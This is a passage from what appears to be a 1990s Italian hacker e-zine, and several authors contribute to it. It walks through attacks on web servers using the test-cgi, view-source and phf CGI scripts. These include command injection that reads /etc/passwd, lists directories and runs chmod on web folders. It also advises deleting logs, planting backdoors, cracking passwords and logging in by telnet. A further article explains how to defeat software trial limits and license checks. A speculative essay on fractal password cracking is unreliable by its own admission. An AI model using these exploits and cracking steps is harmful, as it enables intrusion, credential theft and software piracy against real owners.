dovrebbe apparire la seguente schermata: CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = www.sito.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = REMOTE_HOST = remote.machine.com // nota.. qui e' riportato il vostro indirizzo IP REMOTE_ADDR = 255.255.255.255 // ...attenti alle kazzate... REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = Nel caso in cui il server in questione utilizzi NCSA.. se invece si tratta di Apache cambia solo il campo SERVER_SOFTWARE... Cosi' com'e', questa schermata e' completamente inutile, ma, se questa CGI e' configurata nel modo giusto, scrivendo http://www.sito.com/cgi-bin/test-cgi?/* si ha una sorpresa: CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = www.sito.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = Nel campo QUERY_STRING e' apparsa la lista delle directory presenti in root.. in altre parole questo script ci permette di esplorare tutto l'hard disk del server, una cosa essenziale se si vuole valutare la posizione dei file nel sistema o verificare quali comandi possiamo utilizzare. Ad esempio se vogliamo vedere quali altri script CGI sono presenti, possiamo scrivere: http://www.sito.com/cgi-bin/test-cgi?* e ottenere: CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = www.sito.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ecco cosi' tutto quello che possiamo usare per i nostri scopi... View-source Questo script e' studiato per fare ammirare a un computer remoto le bellezze contenute in un qualsiasi file del sistema.. vi chiederete, ma a che cosa serve se non per hackerare ? E' la domanda che spesso si pongono gli amministratori che vedono questo file in giro per le proprie directory.. sara' dunque molto raro che possiate utilizzarlo.. solo i piu' minchioni installano questo script senza chiedersi il perche', la maggioranza hanno quel pelo di intelligenza che gli serve per capire che un simile file sull'hard disk e' come puntarsi un fucile sulle palle... Comunque con http://www.sito.com/cgi-bin/view-source?/etc/passwd potreste ritrovarvi con l'elenco degli account, con relativa password criptata, sul vostro schermo... e se a questo punto non sapete cosa fare, vi consiglio di leggere il mio precedente articolo... Phf Questo che sto per descrivervi e' il bug piu' famoso e potente a disposizione di un hacker..(o almeno lo era fino a poco tempo fa).. il phf e' uno script delle CGI dell'Apache inizialmente congegnato per gestire alcuni servizi del server da computer remoti.. Sinceramente non so che tipo di servizi offra, ma sono sicuro che su cento volte che qualcuno ha utilizzato il phf, 90 erano per scopi illeciti e fuori dal suo vero impiego.. Cosa permette di fare questo script: semplice permette di utilizzare gran parte dei comandi Unix come se si stesse operando sulla tastiera del computer da colpire.. vi sembra poco ? http://www.sito.com/cgi-bin/phf/?Qalias=x%0aid con questa riga sul vostro browser chiedete al phf di lanciare il comando id che vi permettara' di sapere quali sono i vostri privilegi sulla macchina in questione... Ci sono diverse modalita' di risposta: QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) questa ad esempio dice che il phf setta i vostri privilegi al minimo, dunque siete un po' con le mani legate.. nonstante tutto pero' potete fare delle cose che un normale user con simile uid potrebbe non fare..esempio vedere il file passwd con: http://www.sito.com/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd ma dipende come e' impostato il phf.. potrebbe anche succedere che vi neghi l'accesso a questo file, allora possiamo solo cercare di scoprire cosa c'e' in questo computer.. ad esempio ottenendo la lista di tutte le directory e i privilegi ad esse collegate http://www.sito.com/cgi-bin/phf/?Qalias=x%0als%20-al%20/ oppure cercando nei file di log eventuali informazioni utili, come password scritte al posto del login, memorizzate pronte per essere sfruttate (capita infatti che per la fretta, a volte, quando appare la scritta login: si preme invio e in password poi si scrive il login.. ovviamente il server rifiutera' l'ingresso e richiedera' il login: dove l'ignaro utente scrivera' la password.. salvandola cosi' nel file di log tipo /var/adm/messages) Come avrete ormai capito dopo il %0a potete infilare qualsiasi comando che vi venga in testa... spesso pero' quelli di scrittura com cp, ren, rcp sono disabilitati, dunque il phf viene sfruttato piu' per recuperare informazioni che per modificare l'hard disk.. Se pero' alla richiesta di ID appare QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=0(root) gid=0(root) le cose cambiano.. qui operiamo come Super User e abbiamo l'accesso garantito a qualsiasi file.. la prima cosa da fare e' scaricarsi il passwd, seguito magari da inetd.conf per cercare tutti i possibili modi di accesso.. Mettiamo per esempio che siate riusciti a scaricare il file passwd, dopo averlo decriptato avete scoperto qualche password di utenti comuni, senza privilegi.. non riuscite cosi' ad avere accesso a directory con i files html che volevate modificare.. invece di perdere tempo a decriptare account con uid piu' alti, un po' di intelligenza suggerisce di utilizzare il phf assieme al chmod per cambiare i permessi di un file o di una directory.. rendendoli scrivibili da tutti gli user.. cgi-bin/phf/?Qalias=x%0achmod%20a%2brw%20/www/docs che corrisponde a chmod a+rw /www/docs (come vedete gli spazi e il + sono caratteri speciali da immettere tramite codice ASCII) vi connettete con ftp, cambiate il file scelto e poi con phf riportate tutto come era prima, possibilmente cancellando i log file. Ricordate che un simile procedimento funziona anche con il file passwd e inetd.conf.. lasciare qualche backdoors e' sempre utile (anche se rende l'attacco un po' spudorato) Oggi capita che alla richiesta di utilizzo del phf appaia la scritta: Smile, you are on candid camera e' una evidente presa per il culo che viene inserita nelle nuove versioni del software Apache.. tanto per rifarsi della pertida di immagine dovuta proprio a questo bug.. Per concludere esistono molti altri script che possono tornare utili a chi cerca di penetrare in siti www, ad esempio alcuni che inviano mail possono essere utilizzati per recapitare nella propria casella postale il file passwd... e tanti altri... Vediamo se riesco a rimediare qualche novita' per il prossimo numero... Jack McKrak ATTENZIONE - Seguira' ora un altro articolo di Jack Mckrak sulle conseguenze degli algoritmi frattali nella decriptazione delle password. Il testo in questione e' frutto totalemte della mente deviata di McKrak, dunque sappiate che non esistono prove che quello che sta scritto qui di seguito abbia un senso.. anzi forse non ce l'ha proprio.. Comunque se siete interesati all'argomento o volete solamente sapere cosa si fuma MK prima di concepire questi pezzi, scrivete a mckrak@psynet.net.. 4) Articolo Teorico/Cannato - Ordine e Password ( by Jack McKrak ) Qual'e' la differenza fra ordine e disordine ? Possiamo dire che un insieme e' ordinato quando esiste una logica che lega ogni suo elemento.. quando, insomma, posso affermare che quella determinata cosa deve stare in quel posto e non da un'altra parte. Un mazzo di carte ordinato e' quello dove si va dall'asso al K in successione crescente, mentre in uno disordinato ad ogni carta ne puo' seguire un'altra che non centra assolutamente niente con la prima.. E' ovvio affermare che e' molto piu' facile cercare una cosa in un insieme ordinato che in uno disordinato.. cercando un libro, ad esempio, istintivamente andiamo nel settore che ci interessa, perche' presupponiamo che chi ha ordinato la biblioteca abbia seguito un criterio per facilitarci il compito.. la logica allora ci fa concludere che dopo dieci libri di fantascenza, con molto probabilita, ce ne sara' un altro dello stesso genere.. Quando l'ordine e' palese non ci sono dunque problemi.. ma quando non e' cosi' palese? Ad esempio.. per mia mamma la mia camera e' l'apoteosi della confusione, ma io ci trovo tutto... quando invece lei decide di mettere in ordine ecco che io non piu' riesco a capire dove sono finite le mie proprieta'. Questo accade perche' i miei genitori non capiscono la logica che sta dietro alla disposizione degli oggetti sul pavimento e nei cassetti, bollando tutto con il termine disordine.. ma allora esiste il caos o e' solo la nostra incapacita' di schematizzare dati complessi ? Che ci sia una senso anche dove non avremmo mai immaginato di trovarlo ? Prendiamo la serie di numeri 2 4 6 8 10.. ovviamente se ci chiedessero quale numero viene dopo noi risponderemmo con 12, poiche' banalmente si tratta di una succesione di numeri pari.. la successione 2 3 5 7 11.. sarebbe gia' piu' complessa e solo dopo aver capito che si tratta di numeri primi potremmo dire che il seguente e' il 13.. in fine la serie 52 63 94 46.. risulterebbe casuale se non si capisce che sono i quadrati di 5 6 7 8 con le cifre invertite e il numero seguente sarebbe allora il 18 (9^2 = 81).. Un insieme apparentemente casuale dunque puo' avere una suo schema, anche complicatissimo, ma che se scoperto puo' metterci in condizioni di dare un senso a tutti i dati incotrati e anche a quelli futuri.. Gli algoritmi come il PKZIP, ARJ, RAR sono specializzati proprio nel ricercare ordine nelle sequenze casuali di byte, in modo da poter scrivere nel file compresso solo i byte realmente indispensabili per ottenere l'originale... Per eseguire questo compito cercano stringhe che si ripetono piu' volte all'interno del file e poi reiterano questo processo finche' nel file finale non e' possibile trovare sequenze ripetute.. Non e' un metodo complicato, ma, come tutti possono sperimentare, permette di ridurre parecchio i megabyte accupati da un programma generico. Ultimamente sta emergendo un nuovo tipo di compressione.. la compressione FRATTALE.. (se trovate file con l'estensione FIF sono proprio immagini compresse con questo sistema). Questa compressione si basa su procedimenti matematici molto complessi, ma il nocciolo della questione e' che un file viene riassunto i un numero limitato di equazioni a cui e' associata una probabilita'. Nel momento dello scompattamento il file viene rigenerato seguendo queste equazioni che assumono piu' o meno importanza a seconda proprio della probabilita' a loro connessa... Per averne un'idea non so se avete mai visto il programma in Pascal o C "Felce", che tramite 4 equazioni riproduceva sullo schermo la figura di una foglia di felce.. in questo caso, ad esempio, da poche' centinaia di byte si ottieneva un disegno che occupava diverse decine di KB. La compressione frattale e' dunque molto potente, anche se parecchio lenta nella fase di scomposizione in equazioni (e questo e' il suo principale problema) e rappresenta dunque il miglior metodo oggi disponibile per trovare ordine in dati apparenetemente casuali... Vi chiederete cosa centra tutto questo con le password.. passiamo ora al bello del discorso.. Se prendiamo un insieme abbastanza vasto di parole chiave, usate regolarmente in un paese o anche in tutto il mondo, notiamo che non e' un insieme completamente casuale, difficilemte si possono trovare parole come "hhhh!!!" mentre abbondano quelle tipo "Mario1" o "diav0\0".. e ho citato due password fatte con un pelo di grazia, tralasciando quelle con parole comuni e regolari che non dovrebbero neanche essere concepite, ma che spesso abbondano.. Un insieme di questo tipo non e' completamente casuale (tecnicamente il fattore disordine di un sistema viene defininito "grado di entropia").. possiamo allora pensare di applicare un algoritmo frattale a un database con tutte queste parole e ottenere delle equazioni che esprimano l'essenza di tutto l'archivio. Ora siamo in grado di rivoluzionare il concetto di decriptazione a forza bruta (ovvero quello di si provano tutte le parole possibili) poiche' le nostre equazioni non solo sono in grado di controllare tutte le parole dell'archivio originale, ma possono essere spinte oltre e trasformarsi nel miglior generatore di password esistente... Portando infatti questi riassunti in forma matematica oltre quello che serve per ottenere il database iniziale si arriva alla creazione di password che non erano presenti nell'elenco originale ma che sono legate a quest' ultimo nella propria essenza strutturale.. Nessun metodo statistico come l'estrapolazione dei caratteri comuni o la creazione di password wordlike potrebbe competere con un simile programma.. almeno in teoria... Il tempo per decriptare un file passwd, ad esempio, si ridurrebbe enormemente.. tranne nei casi in cui un eventuale operatore conosca questo metodo e utilizzi le equazioni sopra descritte per creare password fuori schema.. che cosi' non potrebbero essere mai scoperte in un tempo umano... Tutto quello che ho scritto sono pero' estrapolazioni teoriche, in pratica forse questo programma potrebbe non essere mai creato.. in primo luogo perche' gli algoritmi di compressione frattale sono segreti e ancora non ne si conosce bene la potenza, poi bisognerebbe disporre di un archivio di password estremamante ricco, e tanti altri motivi.. Chissa' se poi alla fine questo sistema sarebbe davvero efficente... Jack McKrak P.S. Parlando delle succesioni numeriche mi e' tornato alla mente un vecchissimo gioco matematico, che probabilmente vi e' stato gia' fatto tempo addietro... per chi non lo sapasse e' la storia di un tipo che vuole entrare in un castello (UNIX) dove e' necessario conoscere la risposta ad un questito del guardiano (login-password).. il tipo si nasconde e ascolta tutte quello che dicono le persone che entrano (sniff).. al primo che bussa al portone il guardiano dice "6" e lui risponde "3" e passa... al secondo tipo dice "8", lui risponde "4" e passa... al terzo "10" , risponde "5" e passa... al quarto "12", risponde "6" e passa... A questo punto il tipo pensa di aver capito la logica e bussa al portone.. il guardiano gli dice "14" lui risponde "7", ma viene fucilato... perche ? Che numero avrebbe dovuto dire ? Se sapete la soluzione scrivete a "mckrak@psynet.net".. se avete indovinato riceverete nientemeno che la foto del Dr.Creker mentre narcotizza un poliziotto strigendogli la faccia fra le sue ascelle... 5) I siti del Dr.Creker ( by Dr.Creker ) Ciao a tutti, o miei cari lettori ;))) Guardiamo insieme un po' di belle pagine che vi tengano compagnia durante quelle tristi serate in cui non c'e' nessuno sul vostro irc channel preferito e la vostra donna e' uscita con le amiche... http://freeside.com/phrack.html Non so' come ho fatto a non citarlo negli articoli che ho gia scritto comunque questo e' il sito dove potete trovare Phrack...un gran bel giornale direi! Andateci. Non aggiungo altro. DA VEDERE!! http://www.phila.geek.org.uk/phila/ Una pagina carina; qualche bugs, qualche altra info. Interessante se non avete niente di meglio da fare... Come dire: c'e' di meglio, c'e' di peggio... http://www.digicrime.com Il nome dice tutto. Andateci. http://fs009mi.iol.it/decoder/home.htm http://www4.iol.it/decoder Homepage della rivista italiana decoder (ultimamente criticata per alcune immagini pubblicate). Ho letto qualche numero e mi e' sembrato molto interessante. Dategli un'occhiata potrebbe prendervi piu' di quanto pensiate. http://www.ilf.net E' un bel sito che ho trovato per sbaglio tra i bookmarks vecchi di Infected Machine. Cosa volete che vi dica? Andateci... Anche per questo numero ho concluso. Ci risentiamo presto! Byez! See Ya!! :) Dr.Creker Riportiamo, come gia detto, il primo degli articoli scritti da voi che leggete questo testo e ci auguriamo che in futuro questo spazio possa diventare parte integrante della rivista cosi' come lo sono tutti gli altri articoli. 6) Guida alla Sopravvivenza per non-crakkatori (by Cavallo de Cavallis) ovvero come si sputtanano le protezioni dei programmi senza essere veri crakkatori. Innanzitutto premetto che questo articolo non e' forse il classico articolo da SyStEmDoWn, non e' approfondito, non e' fatto da un mago dell' H/C/P ma e' scritto da un ragazzo con una conoscenza media del PC e che ama divertirsi con esso. Quindi se ritenete cio' che ho scritto delle boiate assurde, voi grandi guru del crack, avete ragione!! Anzi diciamo cosi', se siete veri crakkatori o gente gia' abbastanza esperta non leggetelo neanche!! Sfortunatamente non sono un crakkatore, sto cercando di diventarlo (grazie Xoanon per la guida !!) ma non lo sono ancora, questa mia storiella e' indirizzata a coloro che, a volte, nei canali IRC domandano crack per questo o quel programma e magari senza sapere cosa sono i file .INI o il Registro di Windows '95 o i files di installazione. A tutti puo' capitare di trovarsi di fronte ad un programma che, sfiga vuole, nessuno conosce, nessuno ha visto, nessuno possiede il crack relativo :(. Lo scopo di questo articolo e' far capire come, a volte, non serva parlare in assembler, non serva saper smanettare con il Soft-Ice o disassemblare col W32dasm per fottere un programma, basta un po' di intuizione e una dose massiccia di CULO. Ok, adesso vediamo tre esempi di come a volte e' facile aggirare (completamente o in parte) una protezione senza essere veri crakkatori : (I programmi molto probabilmente non vi saranno affatto familiari) Esempi: 1) File .INI: TcpSpeed v1.01 2) Registro di Win95: Kiplinger Small Business Attorney 3) Files di Installazione: CADRA Iniziamo: 1) File .INI: TcpSpeed v1.01 Il programma TcpSpeed e' una piccola utility che permette di misurare la velocita' di collegamento con un sito che voi specificato. L'ho trovato su un sito H/C/P (boh chissa' perche') e non e' che mi abbia esaltato troppo infatti non funziona con tutti i siti ma solo con alcuni. Comunque vediamo che limitazione ha: senza dirvi nulla (o almeno nella mia versione non c'erano files che lo spiegavano) il programma vi permette di utilizzarlo solo 10 volte + o -, poi il maledetto cerca di collegarsi al suo server per cercare di registarsi. Allora vediamo un po' se ha un contatore, dovra' pur salvare da qualche parte il numero di avvii ? Ok allora si puo' cercarlo prima nei file .ini che e' la cosa piu' semplice; innanzitutto breve excursus sui file .ini (forse non tutti sanno cosa sono): i file .INI sono dei file di inizializzazione che contengono informazioni relative ad un programma, per esempio la posizione della finestra, gli ultimi file aperti, e guarda un po' a volte i contatori o le registrazioni. Si trovano nella directory di Win95 (ma a volte file con l'estensione .ini si possono trovare anche nelle directory dei programmi) ed hanno di solito lo stesso nome del programma relativo. Esistono anche dei file .INI relativi a Windows 95: WIN.INI dove si puo' trovare il tipo di stampante, lo sfondo, le impostazioni per l'italia etc... e magari informazioni sui programmi (es. WinZip) SYSTEM.INI dove ci sono i settaggi di sistema: tastiera, scheda video etc... Personalmente consiglio di controllarli sempre tutti, per essere sicuri, e di controllare anche tutti i file nella directory del programma (per vedere se salva il valore da qualche parte li' magari in un file con un nome cazzuto o nascosto). Con questo programmino ci va proprio alla grande, nel file Tcpspeed.ini c'e' proprio la linea Run Count= N. Provate ad avviare il programma 1 volta, riguardate il file .ini e troverete che e' cambiato in Run Count = N+1. Quando N = 10 il programma decide che lo avete provato abbastanza e non va piu'. Non fate altro che andare nella directory di Win95, aprite Tcpspeed.ini e modificate il contatore riportandolo a 0 ! Ovviamente e' una cosa un po' grezza e provvisoria ma sempre meglio di niente o no ? SUGGERIMENTO DA PARTE DI BLINKING: Il mio caro compare suggerisce di settare il file tcpspeed.ini READ ONLY cosicche' il programma non riesca a portare avanti il contatore !! 2) Registro di Win95: Kiplinger Small Business Attorney Il suddetto programma non e' molto interessante per il mercato italiano ma ha comunque degli spunti interessanti; lo classificherei come un word processor che guida alla composizione di garanzie (non avvisi!!), lettere, accordi pre-matrimoniali, testamenti (tie'!!) etc.. Sfiga vuole che da dove l'ho recuperato non c'era il crack e penso di sapere perche' mancava: la prima volta che avviate lo SBA dopo l'installazione il programma parte tranquillamente, il problema e' che alla 2nda volta vi chiede di registrarlo e vi concede 3 avvii senza codice di registrazione (come mi fa incazzare la gente che distribuisce warez senza provare a fondo la roba!). Il controllo dei file .INI non porta da nessuna parte e adesso come si fa ? Con l'avvento di Windows '95 (evitiamo commenti sul sistema operativo), a detta di molti giornali, i file .INI sarebbero dovuti scomparire per lasciare spazio al fantomatico Registro di Configurazione. Effettivamente il numero di questi file si e' ridotto e, oggigiorno, accade spesso che i settaggi dei programmi siano messi tutti in questo Registro. Per chi non lo sapesse (e penso che ce ne siano) per vedere il registro basta digitare nella finestra Esegui... il comando Regedit e cosi' vi ritrovate nell'Editor del Registro di Configurazione. Adesso piazziamo una ricerca (Modifica..Trova) su Attorney e vediamo un po' che succede... Uhm sotto HKEY_CLASSES_ROOT mi ha trovato Kiplinger's Small Business Attorney diamoci una occhiata: premiamo sul + di fianco e compare la chiave frIndex clicchiamo su di essa e nella finestra di destra compare |ab| predefinito "N" dove N e' un numero Bene proviamo a rieseguire il programma, poi torniamo qui e scopriamo che N e' diventato N-1. La faccenda si fa interessante: proviamo a mettere 10 e avviamo il programma, adesso dovrebbe dirci che ci sono rimasti 10 avvii ! E chissa' che succede se ci piazzo un bel 1000 ???? :)) Un altro programma fottuto. 3) Files di Installazione: CADRA v10.0.1 per Windows E ora, con un po' di orgoglio (si ditemi pure che sono un esaltato ed uno spandi ma questa lavoretto mi fa godere come un porco) la mia Opera. Prima cosa: cusale' l Cadra ? (trad. cos'e' il Cadra ?) (xoanon scrive in livornese e io in varesotto) Il Cadra e' un CAD (Computer Aid Design), cioe' un programma di disegno tecnico tipo AutoCad x intenderci, prodotto dall'Adra e venduto alla modica cifra di 10 zucche + o - (come ogni cad che si rispetti). Seconda cosa : sa te fe cuse' dun Cad che l'e' minga famus ? (trad. cosa te ne fai di un Cad che non e' famoso ?) Lo usa mio pa' al lavoro e volevo dargli una mano da casa. Terza cosa: che protezione ha ? Bella domanda !! Praticamente legge qualcosa dal Bios del PC, vede le opzioni del Programma che volete attivare e la data in cui scadra' la licenza, legge la chiave (nel formato XXX-XXXX) confronta il tutto e bum: la licenza che avete inserito e' scorretta. Quarta cosa: ma non potevi copiare la licenza di tuo padre? Eh no, cosi mi deludete ! Ho detto che legge dal Bios quindi ogni PC e' diverso dall'altro! Ed ora fottiamo questa protezione da 10 zucche! Osservando bene bene il setup si scopre che la licenza va configurata non all'interno del cad ma dal setup. Interessante... Vi e' mai capitato di dare una occhiata a quei file chiamati setup.lst setup.inf e setup.mst? No? Male! Dovreste! Come dice mio nonno bisogna sempre OSSERVARE e CAPIRE il mondo attorno a noi! (Meditate gente Meditate) (non tutti i programmi li hanno, dipende dal tipo di installazione, quelli fatti con l'InstallShield no e sfortunatamente ora ne fanno tanti di setup con quello) Li illustro velocemente : Setup.lst : informazioni generali tipo titolo finestra, file necessari etc.. Setup.Inf : contiene l'elenco di tutti i file che verranno installati (io lo modifico quando copio un programma e voglio tagliarci dalla installazione magari 20Mb di Immagini inutili senza far impastare l'installazione) Setup.mst : il file veramente interessante, la sua descrizione presa dal file e' questa : Setup script for Cadra for Windows. Written in MSTEST Basic This code is rather tightly coupled to setup.dll Bene bene e' lo script di installazione scritto in una specie di Basic che contiene le info sulle procedure di installazione (tipo se schiaccio questo succede quest'altro). Attenzione la 2nda linea ci dice che il file e' accoppiato con il file setup.dll (Cio' e' importante perche' i messaggi che vengono visualizzati vengono presi dalla dll, io ho dovuto modificare brutalmente la DLL per far inserire i miei commenti nel setup trasformato in generatore di Licenze ma non e' importante per ottenere le licenze) Allora apriamo questo script e facciamo una ricerca con License, Register, Registration, Incorrect, Lic ,etc... Troviamo un po' di cose, con un po' di pazienza becchiamo la routine giusta: IsLicKeyValid -- Returns true if number is legal. cioe' se la licenza inserita e' giusta riporta True (vero) (e' quindi di tipo booleano VERO/FALSO; per maggiori infos leggete un libro di matematica o di programmazione) Bene, avanti cosi' ! Scrolliamo un po' la routine fino a che, to' guarda qui, troviamo un bel IF (bufkey$ = n$) THEN IsLicKeyValid = TRUE GULP ! Spieghiamo un po' per i non-programmatori Se la stringa bufkey$ e' uguale a n$ allora IsLicKeyValid e' vero (cioe' abbiamo inserito la licenza giusta) Sempre Meglio :)) Quindi, probabilmente ci sarete arrivati, una stringa e' quella che ho messo io a caso e l'altra quella giusta ! Bastera' visualizzare le 2 stringhe per vedere quella mia e quella giusta !! Allora, siccome non so programmare in MSTEST BASIC cerco la funzione x visualizzare un messaggio, la scopiazzo spudoratamente e ci faccio una lieve modifica per esempio questa : t$ = "The drive letter is missing or invalid. Please enter a valid drive." r% = DoMsgBox(t$,"Cadra for Windows Setup") che visualizza un messagge box con scritto il contenuto di t$ e la piazzo prima di If.... modificata cosi' r% = DoMsgBox("La chiave corretta e': " + bufkey$,"Sprotezione Effettuata da Cavallo de Cavallis", MB_OK + MB_ICONEXCLAMATION ) P.S. Io so gia' che bufkey$ e' quella giusta, avrei dovuto prima mettere "le 1ma chiave e' "+ bufkey$ + " la 2nda e' " + n$ , osservarle, capire quale era quella giusta.. comunque ci siamo capiti. Beh riavviate il setup cosi' modificato ed eccovi visualizzata la chiave giusta !! P.S. Fatevi una copia di backup dei file PRIMA !! Non vorrete perdere il programma per un errore !! Bene ho concluso la mia piccola guida alla sopravvivenza per non-crakkatori. Spero di aver aiutato qualcuno, di non aver deluso nessuno, di non aver fatto incazzare nessun vero crakkatore (Se vi ho fatto inkazzare, fatemi un corso crackin oriented cosi' faccio cose piu' interessanti). Ringrazio InfectedMachine e lo staff di SyStEmDoWn per avermi permesso di inserire questo mio articolo, Xoanon per la sua guida al crack (se mi dessi anche lezioni non sarebbe male :)), pa' e ma'. Salutoni a tutti gli amici dei canali #hackers.it #hackita e #warezitalia senza i quali non avrei neanche saputo dell'esistenza di SystemDown. ULTIMO AVVISO: Non e' sempre facile trovare protezioni come quelle descritte, saranno magari il 5% o anche meno, ma ricordatevi Provate Provate Provate, puo' darsi che con l'inventiva si arrivi dove non arrivano le conoscenze. Cavallo de Cavallis 7) Consigli per il laming ( by Hank ) Salve, questa sezione di Systemdown sara' (forse) snobbata da molti. Non mi riterro' offeso da un tale atteggiamento solo perche' so che verra' comunque letta, magari di nascosto... :) Perche' un articolo di cosi' basso livello? In una cosi' bella rivista??? Le risposte possono essere diverse: la prima e' che sono un gran lamer e, per scimmiottare i pirati veri, mi occorreva una pubblicazione :) un altra e' che frequento hackers.it su IRCnet e su quel canale si accumulano tante di quelle esperienze sul laming da fare schifo... o ancora: molti di noi (noi lamers) vorrebbero iniziare a molestare i sistemi remoti partendo da conoscenze pressocche' nulle, e da quella merda di w1N95 (a proposito un buon lamer parla male di win95 anche se conosce solo quel S.O. anzi la cosa migliore e' usarlo con lo sfondo pieno di scritte tipo: "mIcR0z0fT SuX" ecc., sono fondamentali anche i caratteri cosi',in particolare il 3 al posto della E e lo 0 al posto della O) ma spesso ci viene negata anke (la K al posto del ch) questa soddisfazione. La domanda piu' frequente che pone un lamer e': "come si diventa hackers?" La risposta piu' frequente che riceve: "installati linux... e quando impari ne riparliamo...", in genere chi risponde cosi' e' uno molto piu' lamer dell'interlocutore, ha una slack v.1.2.xx installata malissimo e non riesce neanche ad avviarla... la risposta corretta e': "inizia a truccarti il motorino: e' fare hacking anche quello..." Comunque... veniamo al dunque... Per la serie "ce volemo diverti' ppure noi" vediamo cosa si puo' combinare con un wINd0z3 e un pentium (o anche meno) ed una semplicissima connessione a 33.6 con tin o iol (o anche meno II). Per prima cosa vi occorre qualche programma (non rompete col reperimento, usate qualche motore di ricerca!!!): -Un browser (Netscape va benissimo, i.expl. un po' meno: mIcR0ZofT sUX:))) -John (o jackpot o starcrack o altri ancora per decriptare le pwd) -un Port Scanner (Netcop o similare per analizzare le porte) -un client telnet (CRT e' uno dei migliori ed e' freeware(?) ciao xOANON:)) Passiamo all' azione... Esiste un vecchio bug nella sicurezza delle macchine collegate in rete, molto conosciuto, ma che, essendo i sysop anch'essi dei lameroni, in qualche sito funziona ancora egregiamente, in particolare quelli con dominio .it :). Aprite il vostro browser, col mouse selezionate l'area dove compare l'url (eheh sembro un manuale PCfacile:) e digitate, senza pensare cosa possa voler dire, anzi non digitate neanche...fate un copia e incolla che e' piu'semplice, con questa FORMULA MAGICA: http://www.domainchevogliohackerare.com/cgi-bin/phf?Qalias=x%0a/bin/cat %20/etc/passwd Naturalmente sostituite il www.ecc.. (siamo lamerZ ma non aprofittiamone...), se il sito e' un po' curato, e il sysop legge phrack, vi dovrebbe apparire uno squallido FILE NOT FOUND o una bellissima scritta ACCESS DENIED, che vuol dire piu'o meno lo stesso ma e' molto piu' c00l (o keWl) da raccontare agli amici. Se chi gestisce il sito e' lamerazzo peggio di voi, e legge Il Tromba, dovrebbe apparirvi una pagina di testo con delle scritte strane... Okkio!!! quello e' il file delle passwords: salvatelo!!! Poi datelo da mangiare al vostro cracker preferito (john p.e., per l'uso vi rimando a numeri precedenti di systemdown...) Quando avete ottenuto la pass di un superuser, avviate il vostro port scanner preferito, puntato sull'url akkato in precedenza, dovrebbe darvi una lista con circa una quindicina di numeri (le porte:)), segnateli in un post-it!!! Poi avviate il client telnet inserite il dns, indirizzatelo su ognuno di quei numeretti del post-it e iniziate a premere invii, punti di domanda, ctrlA-Z, ctrl0-9 e tutto quant'altro vi viene in mente, finche' non vi appare una bella maschera con scritto USER: o LOGIN:...Qui inserite il login e la pass ottenuti in precedenza e... BINGO! Siete dentro! ovvero siete dei VERI HACKERS!!!! (imparare cosa sia una shell o un daemon e come funzionano e' un altro discorso, ma voi fregatevene... ormai siete r00t in un altro sistema! Potete dirlo in IRC, dedicargli una home page, spararlo nelle news, raccontarlo sul vostro BBS, scriverlo sui muri, ecc...) Ora... se avete resistito sino a questo punto (della lettura intendo) dubito che riusciate ad andare oltre (nel sistema remoto intendo). Pero' se, sempre come prevedo, riuscirete a fare qualche inutile danno, o perlomeno a farvi tracciare, c'e' la speranza che vi arrestino cosi' per un po' state lontani da internet e dal modem, il che' non puo' farvi (e farci) che bene, senza contare che poi, con un po' di fortuna, quando uscite da galera, vi chiama Maurizio Costanzo o Format e vi fanno vedere in TV, in una puntata dedicata alla pedofilia in rete. Forse e' meglio continuare a fare i lamerZ... ...meditate. Ciao a tutti e... happy hacking! anzi ...bYeZ e happy laming!!!! :))) hAnK L'autore di questo articolo e' a vostra completa (si fa per dire) disposizione su IRCnet oppure sulla casella pittiga@hotmail.com Usa poco il pgp e solo per messaggi sovversivi tipo "hAi il cRacK di f1gp2?" E pensa che chi si sente un po' preso per il fondo da questa pubblicazione non abbia sense of humor, ma solamente tanta ragione. Ringraziamenti Volevo fare un solo ringraziamento dedicato a tutti coloro che ci leggono e che ci incoraggiano ad andare avanti e che, con il loro appoggio ci hanno consentito di arrivare fino a questo numero. Inoltre vorrei ringraziare sia Cavallo de Cavallis sia Hank per avere scritto cosi' velocemente i loro articoli. Non penso sia necessario aggiungere altro. Conclusioni Per chiudere questo numero vorrei invitare tutti coloro che sono arrivati a leggere queste righe di conclusione a scrivere articoli anche semplici e mandarceli per poterli pubblicare nel nuovo spazio a voi dedicato. Gli articoli ( se mai ne dovessero arrivare piu' di uno ) verranno pubblicati in ordine, per cosi' dire, di arrivo... a meno che non vi siano troppi articoli sullo stesso argomento che farebbero risultare monotono questo vostro angolo; quindi prima magari di scrivere un qualche tipo di articolo molto 